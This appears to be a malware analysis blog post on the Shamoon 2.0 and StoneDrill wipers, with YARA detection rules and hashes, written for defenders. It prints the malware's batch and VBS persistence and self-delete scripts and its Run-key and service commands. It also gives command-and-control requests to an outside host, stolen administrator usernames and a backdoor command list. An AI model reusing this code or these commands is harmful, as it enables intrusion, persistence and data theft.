- All known Shamoon samples with resource "101" had a maximum file size of 370 KB, so it's reasonable to limit the file size to twice that number - 700 KB.
- The number of resources inside the sample should not be too high - less than 15.
Our favorite malware hunting tool, Yara, provides a rule-based approach to create descriptions of malware families based on textual or binary patterns. Here’s the detection rule we wrote using all the above conditions:
```yara
import "pe"
import "math"
rule susp_file_enumerator_with_encrypted_resource_101 {
meta:
copyright = "Kaspersky Lab"
description = "Generic detection for samples that enumerate files with encrypted resource called 101"
hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
hash = "c843046e54b755ec63ccb09d0a689674"
version = "1.4"
strings:
$mz = "This program cannot be run in DOS mode."
$a1 = "FindFirstFile" ascii wide nocase
$a2 = "FindNextFile" ascii wide nocase
$a3 = "FindResource" ascii wide nocase
$a4 = "LoadResource" ascii wide nocase
condition:
uint16(0) == 0x5A4D and
all of them and
filesize < 700000 and
pe.number_of_sections > 4 and
pe.number_of_signatures == 0 and
pe.number_of_resources > 1 and pe.number_of_resources < 15 and
for any i in (0..pe.number_of_resources - 1):
(
(math.entropy(pe.resources[i].offset, pe.resources[i].length) > 7.8) and
pe.resources[i].id == 101 and
pe.resources[i].length > 20000 and
pe.resources[i].language == 0 and
not ($mz in (pe.resources[i].offset..pe.resources[i].offset + pe.resources[i].length))
)
}
```
While running the above Yara rule on Kaspersky Lab’s samples selection, we found an interesting, fresh sample. After a quick analysis, we realized it was yet another wiper. However, it was not Shamoon, but something different. We’ve decided to call it StoneDrill.
### From StoneDrill to NewsBeef
Having identified the StoneDrill sample through the Yara technique above, we started looking for other possibly related samples. One Yara technique that has proved useful in the past for finding new malware variants is the development of Yara rules for decrypted malware components. During attacks, malware components can be changed to fit the attackers’ requirements, so hunting for decrypted malware code might help in finding new malware variants or even older samples.
With StoneDrill, we developed several Yara rules for the decrypted payloads. Here’s one of our Yara rules for a decrypted StoneDrill module:
```yara
rule StoneDrill_main_sub {
meta:
author = "Kaspersky Lab"
description = "Rule to detect StoneDrill (decrypted) samples"
hash = "d01781f1246fd1b64e09170bd6600fe1"
hash = "ac3c25534c076623192b9381f926ba0d"
version = "1.0"
strings:
$code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF 30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}
condition:
uint16(0) == 0x5A4D and
$code and
filesize < 5000000
}
```
Interestingly, this rule allowed us to find a new category of samples, which we previously connected with a threat actor named NewsBeef. We wrote about NewsBeef roughly one year ago, in relation to another set of attacks against oil and energy companies from the Middle East. Further analysis indicated the malware samples from StoneDrill and NewsBeef appear to be connected together through numerous internal similarities.
The use of simple logic in conjunction with a knowledge of Yara can help attain a state-of-the-art outcome in malware hunting activity. If you would like to learn more, you can join us for the Yara training "Hunt APTs with Yara like a GReAT Ninja" and the advanced “Malware Reverse Engineering course” on April 1-2, 2017 in St. Maarten. Several private intelligence reports on Shamoon, StoneDrill, and NewsBeef are available to subscribers of Kaspersky Lab’s Private Intelligence Reports.
## Technical details - Shamoon 2.0 - language usage and possible Yemeni links
Several good technical articles on Shamoon 2.0 have been published by some of our colleagues, including Palo Alto, IBM X-Force, Symantec, and others. Throughout this blog, we describe some of the technical details of the new Shamoon 2.0 attacks and what are the most important things that make them stand out. For the analysis, we used the earliest set of samples, with a hardcoded attack date of 17 November 2016. However, we’ve also included details from the newer samples, such as hardcoded credentials.
During deployment in the victim’s environment, the main Shamoon 2.0 wiper module is installed through a Windows Batch file with the following content:
```
@echo off
set u100=ntertmgr32.exe
set u200=service
set u800=%~dp0
copy /Y "%u800%%u100%" "%systemroot%\system32\%u100%"
start /b %systemroot%\system32\%u100% %u200%
```
Interestingly, the sample resources appear to have a language ID of “Arabic (Yemen)”, suggesting the attackers might be from Yemen. Of course, we should not disregard the possibility that the resource language could be a false flag planted there by the attackers.
### 32-bit Shamoon dropper/worm (ntssrvr32.exe)
- **SHA256**: 394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b
- **MD5**: 5446f46d89124462ae7aca4fce420423
- **Compiled**: 2009.02.15 12:31:44 (GMT), VC 2010
- **Type**: I386 Console EXE
- **Size**: 1,349,632 bytes
This executable is a worm designed to infect computers connected to a Windows domain. To achieve this, it relies on a list of hardcoded, previously stolen username/password pairs belonging to administrators of the targeted domain. All the strings in the malware are obfuscated with simple one-byte ADD operations and are decrypted upon execution. All the dropped files exhibit file times altered to match that of the system’s kernel32.dll. The module only works if it is run with exactly one command line parameter, regardless of the parameter. Otherwise, it simply exits (likely a measure to avoid accidental execution).
The hardcoded credentials we have observed so far are:
| Domain name | Username | Domain name | Username | Domain | Username |
|--------------------|------------------------|------------------------|--------------------|----------------|--------------------|
| GACA | gacaadmin15 | CRISTALGLOBAL | ckadmin | SAICO | administrator |
| | gacaadmin22 | | jaladmin | | muneeb |
| | gacaadmin08 | SADARA | mukhsx01 | | beadmin |
| | Administrator | | pgSCMADM | | crmadmin |
| ALAB.local | admin | | mnxxnadmin | | tvcenter |
| GNET and “.” | saud.a2 | | thirnx01 | | khaleel |
| | Habib1 | | pamadmin1 | | mhamdi |
| | sys | | shokax00 | | mawale |
| | alqifaria | | backupadmn | | spadmin |
| | cloudsvc | SIDF | administrator | SCSB | qomari.a |
| SIPA | ucam01 | | shabbir | | sts |
| | administrator | | tsfarooq | | aalshamari |
| | bbadmin | CLIUSR | | | nbu_service |
| | CUCMUser | administrator | RIYADH | faxserver | |
| | UnityDirSvc | | email4 | | citrbass |
| | UnityMsgStoreSvc | YAMSTEEL | Administrator | 456 | test456 |
| TESTDOMAIN | test123 | | | | yidadm |
If the victim host’s system “PROCESSOR_ARCHITECTURE” environment variable is “AMD64” or “amd64”, the module installs its 64-bit variant. The variant is contained within a resource named “X509”. The resource is de-XORed and dropped onto the system under: `<%WindowsDir%\system32\ntssrvr64.exe>`. It is then installed as a service via the command:
```
cmd.exe /c "ping -n 30 127.0.0.1 >nul && sc config NtsSrv binpath= "C:\WINDOWS\system32\ntssrvr64.exe LocalService" && ping -n 10 127.0.0.1 >nul && sc start NtsSrv"
```
### Installation as a Service
If the malware is running on a 32-bit system, this module installs itself as a service named “NtsSrv”:
| Name | Display Name | Description |
|----------|------------------------------------------|-----------------------------------------------------------------------------|
| NtsSrv | Microsoft Network Realtime Inspection Service | Helps guard against time change attempts targeting known vulnerabilities in network time protocols |
The service is set as dependent on the “RpcSs” system service. The properties of the system service “LanmanWorkstation” are changed so that it depends on the newly created “NtsSrv” service to allow it to start after the malware.
### Worm Functionality
Once this module runs (as a service), the worm-spreading functionality is started, targeting every network host within the IPv4 address range, with the same first three bytes of the victim’s IP and the last byte in the range from 0 to 255, thus operating inside subnet class C (a.b.c.0/24). Here’s how it works:
1. The worm connects to a remote machine’s registry and disables Remote UAC by setting the LocalAccountTokenFilterPolicy registry key value to 1 in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system`.
2. If the RemoteRegistry system service is disabled and doesn't run on the target system, the worm reconfigures this service to be auto-started and then starts it immediately. If the connection to a remote registry is unsuccessful, the worm repeats the connection attempt with a hardcoded set of stolen domain administrator credentials. The worm then searches for remote `\windows\system32\csrss.exe` files by prepending this path with the victim machine’s IP as well as system shares: "ADMIN$", "C$", "D$", "E$".
3. Once a remote system32 folder is found, the worm copies itself into this folder under the name “ntssrvr32.exe”. It schedules a remote job to run “ntssrvr32.exe LocalService” after 90 seconds.
4. If the remote scheduler is inaccessible, the worm tries to set up NtsSrv and runs the service on the remote machine with the same parameters as it used for self-installation. Attempts with stolen credentials are also performed.
5. An alternative but similar infection method is coded into the worm, where each infection is performed in a separate thread without relying on the scheduler; but it is not used at this time.
### Command and Control (C&C) Module
After replication, the malware runs a command-and-control communication module. This module is contained within a resource named “Pkcs7”. It is de-XORed and dropped as `<%WindowsDir%\system32\netinit.exe>`. Using the hardcoded credentials, it creates a Windows Task Scheduler job that executes netinit.exe 90 seconds after creation. It waits 95 seconds and then deletes the scheduled job.
### Wiper and Encryptor Module
Finally, the malware drops the wiper/encryptor module. This module first checks if it’s time to run the main payload. The activation period can be set in two ways:
1. It checks if the system time is not earlier than the time specified in the following file: `<%windir%\inf\usbvideo324.pnf>`.
2. If the file doesn’t exist, it checks that the system time is not earlier than the hardcoded date: `<20:45, 17 Nov 2016>`.
At the specified time, the malware drops two files:
The first file, `<c:\windows\temp\key8854321.pub>`, is unused in this attack and contains a public encryption key. This is an indicator that the attackers might be using Shamoon as a ransomware tool in upcoming waves.
```
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAusZItknNNeV+xjPzIZLyB5m6gaNREC6I3CZQ7F1vDU
CaGki83s6JVDo2NGN70mhx4q5NJrgXDzD7McpxDoJsDkKwr5mm3yEs9vmZwHcEWcvU6QbJguFgPJk6zoatVq0
WsfIkN50ywQMVq2zmiJel2UoalPJzCWbAYG0BShXjnlcsfV8GcPW+fNRCSGKVue3RE6cV5HlAjSD8VSk4KERPu
Wfvbk/pP0qDE60Uc7K3Bl7uxbHVB2g8unuj8B9d81TKT0hForie8V2N4FT0bdAHUHU6LT/XtAdLCp9/cTUf8zk1MC
oxXj6CSg9xKgGgnJazC/u3R0nm/pPriF/ZkwrVhJtDd/1nf4JC1sDmc3mgv0hI+7hthf+fZkv75doHg67Gg6JOZQIMytQ
eF8ylnUgC1ZyrAmaxN0OV69zhktzZISdmmkbtyZSHEZzIdC9PF/MJzCK5ylkEI2jQpAabgv34o2o+ZMJLSDZbNrXy9
0LUy8GjtzJYmv02MVLjy7CSgglIbulSgMP4QC/i1fTIPhlSlMyCKnGIKdKY31KFQnoOzI8kudeted8eF/ubpFcna0TDc
Ek+Dt8s4pN4/DsGQoncWg9HMyC8Q/MWIE/JuOCisovJ0PYq2aKetDNRMm7THcXalXKD9RpczObRWKGKzMJD
onmBm2AETME74MRPmC/FWgsCAwEAAQ==
-----END PUBLIC KEY-----
```
The second file is dropped from a resource named “PKCS12”. It is de-XORed and dropped into the %system% directory with a name randomly selected from the following list:
- caclsrv.exe
- dvdquery.exe
- msinit.exe
- sigver.exe
- wcscript.exe
- certutl.exe
- event.exe
- ntfrsutil.exe
- routeman.exe
- ntnw.exe
- clean.exe
- findfile.exe
- ntdsutl.exe
- rrasrv.exe
- netx.exe
- ctrl.exe
- gpget.exe
- power.exe
- sacses.exe
- fsutl.exe
- dfrag.exe
- ipsecure.exe
- rdsadmin.exe
- sfmsc.exe
- extract.exe
- dnslookup.exe
- iissrv.exe
- regsys.exe
- smbinit.exe
The dropped payload is then scheduled to run in the same way as the C&C communication module.
### 64-bit Shamoon Dropper (ntssrvr64.exe)
- **SHA256**: 47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34
- **MD5**: 8fbe990c2d493f58a2afa2b746e49c86
- **Compiled**: 2009.02.15 12:32:19 (GMT), VC 2010
- **Type**: AMD64 Console EXE
- **Size**: 717,312 bytes
This dropper has the same functionality as the 32-bit variant. This version is contained within a resource named “X509”. The resource is de-XORed and dropped onto the system under: `<%WindowsDir%\system32\ntssrvr64.exe>`.
### C&C Communication Module (netinit.exe)
- **SHA256**: 61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842
- **MD5**: 5bac4381c00044d7f4e4cbfd368ba03b
- **Compiled**: 2009.02.15 12:29:20 (GMT), VC 2010
- **Type**: I386 Console EXE
- **Size**: 159,744 bytes
The strings in the C&C module are obfuscated by simple ADD operations and are decrypted upon execution. This module periodically connects to a C&C with the following URL:
```
hxxp://server/category/page.php?shinu=w74K9/xQp1VjJfwwadq4HCl7VheuQXk49YnNkbXR+0ghrH YIRFE51FQskZya+jIPqo3VlOEpfvvgxvO26pZ3oA==
```
The strange “server” in the URL string suggests multiple possibilities:
1. It is used by mistake.
2. It may suggest a placeholder value that wasn’t set for the purposes of this attack.
3. A server with this name might be installed by the attackers somewhere inside the local network.
4. The local network may rely on a now poisoned DNS server.
The string also contains the word “shinu=”, which is quite interesting. This is possibly a transliteration of the Gulf Arabic slang word ‘ونش’ for ‘what?’. This particular slang is used in several countries, notably Iraq, but also sometimes in Kuwait and Bahrain. The “shinu” parameter string contains the following encoded information about the victim system:
- Host IP and MAC addresses
- Windows version information
- Windows input locale IDs (keyboard layouts)
- Number of connection attempts, or content of the `<%WINDIR%\inf\netimm173.pnf>` file if the file exists. The `<netimm173.pnf>` file contains information about changes made by the wiper payload module.
If the direct connection fails, this module tries to connect using a hardcoded proxy server of “1.1.1.1:8080”. This supports the assumption that the malware deployed in this case does not include a working C&C and the operators used a raw, unconfigured C&C module.
Data received from the C&C server is handled in two possible ways:
1. An executable file is downloaded as `<%TEMP%\Temp\filer%rndDigits%.exe>` and executed immediately thereafter.
2. A file is dropped in `<%WINDIR%\inf\usbvideo324.pnf>` that contains the wiper payload’s activation time. This effectively allows the attackers to configure the wiper time bomb.
### Disk Wiper/Encryptor Module
- **SHA256**: 128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd
- **MD5**: 2cd0a5f1e9bcce6807e57ec8477d222a
- **Compiled**: 2009.02.15 12:30:19 (GMT), VC 2010
- **Type**: I386 Console EXE
- **Size**: 282,112 bytes
- **SHA256**: c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a
- **MD5**: c843046e54b755ec63ccb09d0a689674
- **Compiled**: 2009.02.15 12:30:41 (GMT), VC 2010
- **Type**: AMD64 Console EXE
- **Size**: 327,680 bytes
Despite the widespread coverage of the resurgence of the Shamoon wiper, few have noted the new ransomware functionality. The wiper module of Shamoon 2.0 has been designed to run as either a wiper or an encryptor (ransomware).
1. The module is configured to wipe the disk using the “Death of Alan Kurdi” photo. The picture depicts a three-year-old Syrian refugee who drowned as his family attempted to reach Europe and travel on to Canada. The module can also be configured to wipe the disk using random data.
2. In the “encryption/ransomware” mode, a weak pseudo-random RC4 key is generated, which is further encrypted by the RSA public key and stored directly on the hard drive (at `<\Device\Harddisk0\Partition0>`) starting at offset 0x201, right after the master boot record.
3. Once the module is extracted, it drops a legitimate driver named `<DRDISK.SYS>` to the disk and starts it. This driver is used for low-level disk operations and is well known from previous Shamoon attacks. Before accessing this driver, the system date is changed to a random day between the 1st and 20th of August, 2012 to fool the driver’s license checks and evaluation period.
4. The payload employs the file `<%WINDIR%\inf\netimm173.pnf>` to keep track of the operations performed. The content of this file is sent to the C&C server by the communication module.
5. The strings in this module are also obfuscated by simple ADD operations and decrypted at start.
### Payload Configuration
There are two 25-byte length configuration strings in the wiper payload:
- “SPPPPPPPPPMPPHHHHHHHHHHBO”
- “NNNNNNNNNNWNNNNNNNNNNNWWW”
Letters in the first string specify a type of operation to be performed, with the available operations explained below. The second string designates how these operations should be performed: the letter 'N' means that the operation will be executed synchronously in separate threads, the letter 'W' means the operation will wait until a previous step is completed.
Here’s an explanation of the configuration string above:
| Letter | Operation |
|--------|-----------|
| S | The first operation, marked by the letter 'S' wipes (or encrypts) the content of the Shamoon 2.0 components (netinit.exe, ntssrvr32.exe, and wiper module itself). Using the low-level disk access driver makes it possible to wipe the body of a running executable. |
| P | The next 9 'P' letters indicate wiping (or encrypting) of the files placed inside the traditional user folders: desktop, download, document, picture, video, and music. |
| M | The 'M' wipes (or encrypts) the NTFS MFT data on all accessible drives mapped from A: to Z:, except the system drive. |
| P | The next two 'P' letters wipe (or encrypt) files inside the following folders: `<C:\Windows\System32\Drivers>` and `<C:\Windows\System32\Config\systemprofile>`. |
| H | The 10 'H' letters wipe (or encrypt) some of the partitions from 9 to 0 on hard disks 9-0 (SystemBoot and FirmwareBootDevice partitions and partition 0 on the system drive are skipped in this step). |
| B | The 'B' letter wipes (or encrypts) part of the partition designated as FirmwareBootDevice. |
| O | The final 'O' wipes (or encrypts) the Master File Table on the system drive, the first sector of `\Device\Harddisk0\Partition0`, and the last part of the SystemBootDevice partition. |
Two minutes after all tasks are completed, the system is rebooted with the following command:
```
shutdown -r -f -t 2
```
### Low-Level Disk Access Driver (DRDISK.SYS)
- **SHA256**: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6
- **MD5**: 1493d342e7a36553c56b2adea150949e
- **Compiled**: 2011.12.28 16:51:24 (GMT), VC 2005
- **Type**: I386 Native
- **Size**: 27,280 bytes
- **SHA256**: eaee62a8238189e8607b24c463a84c83c2331a43b034484972e4b302bd3634d9
- **MD5**: 42f883d029b47f9d490a427091da3f5d
- **Compiled**: 2011.12.28 16:51:29 (GMT), VC 2005
- **Type**: AMD64 Native
- **Size**: 31,998 bytes
These signed legitimate drivers form part of the EldoS RawDisk product. This product is designed to provide direct access to disks and protected files from user-mode applications. Sadly, this functionality has been adopted and abused by multiple threat actors to develop wiper malware, as in the case of the original Shamoon or the Lazarus Destover malware used in the infamous Sony Pictures Entertainment attack of 2014. In order to bypass the EldoS RawDisk drivers’ evaluation period license checks, the Shamoon 2.0 malware changes the system date to a random day between the 1st and 20th of August, 2012.
### From Shamoon 2.0 to StoneDrill 1.0
StoneDrill has some style similarities to the previously discovered Shamoon samples. Particularly interesting is the heavy use of anti-emulation techniques in the malware, which prevents the automated analysis by emulators or sandboxes. One of the most interesting characteristics is the presence of the Persian language in multiple resource sections. Samples of the StoneDrill malware were uploaded multiple times to multiscanner systems from Saudi Arabia between 27 and 30 November 2016. One StoneDrill victim was also observed in the Kaspersky Security Network (KSN) in Europe.
### The StoneDrill wiper
- **SHA256**: 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260
- **MD5**: 0ccc9ec82f1d44c243329014b82d3125
- **Compiled**: 1999.02.08 06:15:47 (GMT) fake, VC 2015
- **Type**: I386 GUI EXE
- **Size**: 195,072 bytes
The malware PE file timestamp is fake; however, the authors forgot to alter a timestamp inside the debug directory. The real timestamp from the debug directory points to: 2016.11.14 21:16:45.
1. The module highlighted above starts from a heavy anti-emulation function that contains numerous WinAPI calls with invalid parameters. The goal is to break through the detection of antivirus emulators and heuristic detection.
2. The second anti-emulation technique is run before the payload execution: this module creates a hidden dialog window, then finds and programmatically clicks the “OK” button on that dialog. After that, another series of incorrect WinAPI calls follow.
3. The malware then finds the file path of the default Internet browser app by looking into the following registry keys:
- `SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice`
- `HKCR\%ProgId_val%\shell\open\command`
4. The malware then checks to ensure the browser is not LaunchWinApp.exe or is compiled for the 64-bit architecture, in which case the path of “%PROGRAM_FILESX86%\Internet Explorer\iexplore.exe” is used instead.
5. The default browser is then started and the wiper module is injected into the running browser memory.
6. After the successful start of the wiper module, the following script is dropped and executed: “%temp%\C-Dlt-C-Org-T.vbs”.
7. Another temporary file is dropped “%temp%\C-Dlt-C-Trsh-T.tmp” which contains the name of the Injector module; this file is deleted after execution is completed.
```vbscript
WScript.Sleep(10 * 1000)
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
While WshShell.FileExists("%selfname%")
WshShell.DeleteFile "%selfname%"
Wend
WScript.Sleep(10 * 1000)
WshShell.DeleteFile "%temp%\C-Dlt-C-Org-T.vbs"
Set WshShell = Nothing
```
### The StoneDrill Disk Wiper Module
- **SHA256**: bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc
- **MD5**: 697c515a46484be4f9597cb4f39b2959
- **Compiled**: 2016.11.14 21:16:40 (GMT), VC 2015
- **Type**: I386 GUI EXE
- **Size**: 130,560 bytes
Unlike Shamoon, the StoneDrill disk wiper module is not written onto disk but instead is injected directly into the user’s preferred browser process memory. This module inherits the second anti-emulation trick only (clicking the button on the hidden dialog window); it is also obfuscated with the same alphabet-based string encryption. If the browser process privileges do not permit the raw disk wiping, only the user-accessible files are deleted.
Depending on the configuration, this module wipes with random data one of the following possible targets:
- All accessible physical drives by using the device path “\\.\PhysicalDrive”.
- All accessible logical drives by using device path “\\.\X:”.
- Recursively wipes and deletes files in all folders except “Windows” on all accessible logical drives.
- Places a special emphasis on wiping files named “asdhgasdasdwqe%digits%” in the root folder of the disk.
Just like Shamoon, after the wipe process is completed, the system is rebooted.
### The StoneDrill backdoor
According to the PE timestamps from StoneDrill sample two and sample one (2016.10.19 and 2016.11.14 respectively), this malware file was compiled a month before the previously described StoneDrill sample. However, internally this tool wrapper (injector) looks like a more modern evolution of the previously discussed wiper wrapper. The sample is generally of low quality, with many unused code blocks, unreliable anti-emulation, and few non-critical bugs. In some cases, functions are executed but the results are not used:
- Is the current user a domain administrator?
- Is the antivirus process currently running?
- Is the current process running in a virtual environment such as VMware or VirtualBox?
### The StoneDrill Installer/Injector module
- **SHA256**: 69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db
- **MD5**: ac3c25534c076623192b9381f926ba0d
- **Compiled**: 2016.10.19 14:26:01 (GMT), VC 2015
- **Type**: I386 GUI EXE
- **Size**: 195,072 bytes
#### First step: anti-emulation tricks
This module is very similar to the above discussed injector module, utilizing the same set of anti-emulation tricks, injection into the user’s preferred browser, and VBS scripts. A distinction in this sample is the wide utilization of the WMI command-line (WMIC) utility to run tasks such as running the dropped VBS script or making registry modifications.
Strings in this module are encrypted in two ways:
- Alphabet replacement
- SSE XOR 0x5235
#### Second step: name construction and installation
This module checks if it is already running from the “%COMMON_APPDATA%\Chrome” folder. In cases where the malware is started from a different folder, the installation procedure is started.
During installation, a name is constructed through concatenation of three randomly selected strings from the below three sets, for example - PowerNetworkProxy, RAMFirewallTransfer, LocationAgentFramework:
**Set1**: Intel, AMD, Microsoft, Windows, Java, Adobe, Cisco, SunGard, Query, Location, Power, NFC, DotNet, MFC, WMI, SQL, Office, Bitlocker, Map, Fingerprint, Packet, Registry, RAM, CPU, ROM, Memory, Monitor, CDROM, Run-time, Task, Ethernet, Application, Lockscreen, Cloud, Browser, Cash, Desktop, Display
**Set2**: File, System, Service, Device, Software, Hardware, VM, Network, Performance, Graphic, Engine, Agent, Data, Wizard, Server, Media, History, Storage, Core, boot, Gaming, Firewall
**Set3**: Manager, Arranger, Controller, Host, Help, Diagnostics, LogOn, Plug, Proxy, Events, Transfer, Policy, Recovery, Details, Provider, Adapter, CleanUp, Encryption, Extension, APP, Client, Menu, Stub, Execute, Launcher, Framework, Tester, Model, Backup, API
The VBS script “%TEMP%\C-PDC-C-Cpy-T.vbs” is then dropped in %TEMP%.
```vbscript
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
WshShell.CopyFile "%SELF_NAME%", "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe"
Set WshShell = Nothing
```
The script is executed using the following command to do self-copy into the “%COMMON_APPDATA%\Chrome” folder:
```
cmd /c WMIC Process Call Create "C:\Windows\System32\Wscript.exe //NOLOGO %TEMP%\C-PDC-C-Cpy-T.vbs"
```
Another VBS script named “C-PDI-C-Cpy-T.vbs” is dropped into %TEMP% folder and executed in the same method (via WMIC used to make a second malware copy with pathname):
```vbscript
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
WshShell.CopyFile "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe", "C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe"
```
#### Third step
When the malware is started from within the “%COMMON_APPDATA%\Chrome” folder, the “FileInfo.txt” file is created in the same folder and contains the pathname of the first copy of malware (“%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe”).
Then the third copy of the malware is created by the command:
```
%COMSPEC% /c copy "%SELFNAME" %TEMP%\bd891.tmp
```
This checks the target file to verify if command execution is successful, then deletes the bd891.tmp file. The last mentioned is used as another anti-emulation trick in the StoneDrill arsenal.
#### Fourth step: Payload injection
The payload is extracted from the resources section, decrypted, and unpacked similarly to the previously described wiper injector module. The difference here is that for the decryption of the payload module, SSE instructions are used.
In the same style, the payload is injected into the user preferred browser process, with an additional step after the payload module injection: the resource segment responsible for the payload configuration is replaced in memory with the resource taken from the parent module. After the payload start is attempted, the VBS files listed inside C-Dlt-C-Trsh-T.tmp and C-Dlt-C-Trsh-T.tmp are deleted.
#### Fifth step: If not started
If the payload is not started, then `%TEMP%\C-Dlt-C-Org-T.vbs` is dropped and executed to delete the initial malware copy.
```vbscript
WScript.Sleep(10 * 1000)
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
While WshShell.FileExists("%initial_malware_pathname%")
WshShell.DeleteFile "%initial_malware_pathname%"
Wend
WScript.Sleep(10 * 1000)
WshShell.DeleteFile "%TEMP%\C-Dlt-C-Org-T.vbs"
Set WshShell = Nothing
```
### StoneDrill remote access payload module
- **SHA256**: 105ee777ad31a58301310719b49c7b6a7e957823e4dabbfeaa6a14e313008c1b
- **MD5**: e3a82d1db3ae8b189d2e1e0a22d6c82f
- **Compiled**: 2016.10.19 16:49:36 (GMT), VC 2015
- **Type**: I386 GUI EXE
- **Size**: 317,440 bytes
- **Version**: 2.0.1610.76
This module is not dropped into disk but injected directly into the user preferred browser process memory. The module is written in C++ with the use of STL classes, with numerous forgotten debug strings.
#### First step: Decryption
Strings in this module are encrypted by ROR, NEG, ADD, or simply XOR. An unreliable anti-emulation technique is utilized which makes the whole module unstable. The author assumed that the execution of the Sleep function with parameter 4020 milliseconds would increase the system value of KUSER_SHARED_DATA::InterruptTime to four seconds (rounded to the nearest second). If the InterruptTime is increased only by two seconds, this module just exits immediately. In case of other values, the module will crash due to the incorrect decryption of strings.
The configuration block is then loaded from resources and decrypted by two passes of XOR. The original module configuration resource is empty; the injector module just patches this resource, replacing the configuration with its own. In the configuration block, “ux” and “uy” are the C&C servers, “Cid” is part of the connection query and seems to be a client ID.
#### Second step: Registering autorun of installer (injector) module
The malware reads and de-XORs content of the `C:\ProgramData\InternetExplorer\FileInfoStp.txt` file, then deletes and unregisters the autorun file defined in FileInfoStp.txt (autorun key deleted from registry) with the command:
```
cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Stp /f
```
Next, the file `C:\ProgramData\InternetExplorer\FileInfoStp.txt` is deleted and replaced by the command:
```
cmd /c Copy /Y "C:\ProgramData\Chrome\FileInfo.txt" "C:\ProgramData\InternetExplorer\FileInfoStp.txt"
```
The malware then drops and executes file `%TEMP%\C-Strt-C-Up-T.bat`:
```
ping 1.0.0.0 -n 1 -w 20000 > nul
@ECHO OFF
wmic /NameSpace:\\root\default Class StdRegProv Call SetStringValue hDefKey = "&H80000001" sSubKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" sValue = "C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe" sValueName = "Stp"
Del "%TEMP%\C-Strt-C-Up-T.bat"
```
#### Third step: C&C server selection
Multiple attempts are made to connect to the hosts configured in the ux and uy fields (found in the sample configuration). The malware issues GET requests to “ct_if/ctpublic/Check_Exist.php”. The server answering with the “HANW-J6YS-P81J-KSD7” string is selected as the current live server.
### C&C login
The next connection is a login attempt with the following request:
```
POST / HTTP/1.1
Host: www.eservic.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://www.eservic.com/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
username=MD5Sum(login)&password=MD5Sum(password)&button=Login
```
### Fourth step: Get commands list
During the fourth step, the malware requests available commands from the C&C:
```
GET /insert/index?id=%cid_from_config%%random_part_of_client_id%&hst=%base64encoded_computer_and_user_name_cpuid0_checksum%&ttype=102&state=201 HTTP/1.1
Host: www.eservic.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: %string_received_in_login_step%
Connection: close
```
Here is a list of the StoneDrill commands available:
| Command | Internal Help Strings | Command Description |
|-----------|--------------------------------------------------------|-------------------------------------------------------------------------------------|
| os | 1. OS (The is Response the Operating System of the Client Machine) | Return details about Windows version, edition, architecture, and environment |
| version | 2. Version (The Response is Version of Running Product on the Client Machine) | “2.0.1610.76” string returned |
| time | 3. Time (The Response is Current Time of the Client Machine) | Current system and local time are returned |
| shell | 4. Shell Value (Give You Access the CMD Console in the Client Machine; Value is Anything that You Want to Writing in the CMD Console of the Client Machine and Execute it) | Stdout/stderr streams of executed “cmd.exe /C %value%” command are captured and send back to CC |
| screenshot | 5. Screenshot (The Response is a JPEG File of the Screenshot of the Client Machine Desktop) | 1-At first the malware takes a screenshot into a randomly named .bmp file in %TEMP% folder. 2-Then takes a second screenshot, now with jpeg compression and stores it as .jpg file with random name. In case of success jpg creation bmp file is deleted. 3-Send screenshot file to C&C and delete temporary files. |
| delay | 6. Delay Value (Adjust the Time-Interval for the Server and Client Communication; Value can be Between 1000-100000; 1000 is High-End Speed) | |
| download | 7. Download "From" "To" (Download a File From "a URL" To "a Directory on the Client Machine") | Downloaded file initially stored as “%TEMP%\Test.tmp”, then deXORed with 0xCC and copied to specified location with VBS script “C-Dled-C-Cpy-T.vbs” as previously described, file is then executed with command: "cmd /c WMIC Process Call Create C:\Windows\System32\Wscript.exe //NOLOGO C:\Windows\System32\Wscript.exe //NOLOGO C-Dled-C-Cpy-T.vbs" |
| upload | 8. Upload "From" (Upload a File From "a Directory on the Client Machine") | |
| update | 9. Update "From" (Download the New Version of the Product From "a URL" and Execute it on the Client Machine) | Downloaded file initially stored with random name inside %TEMP% folder, then renamed by using C-Uptd-C-Cpy-T.vbs and C-Up-C-Dt-T.bat similar to previous steps |
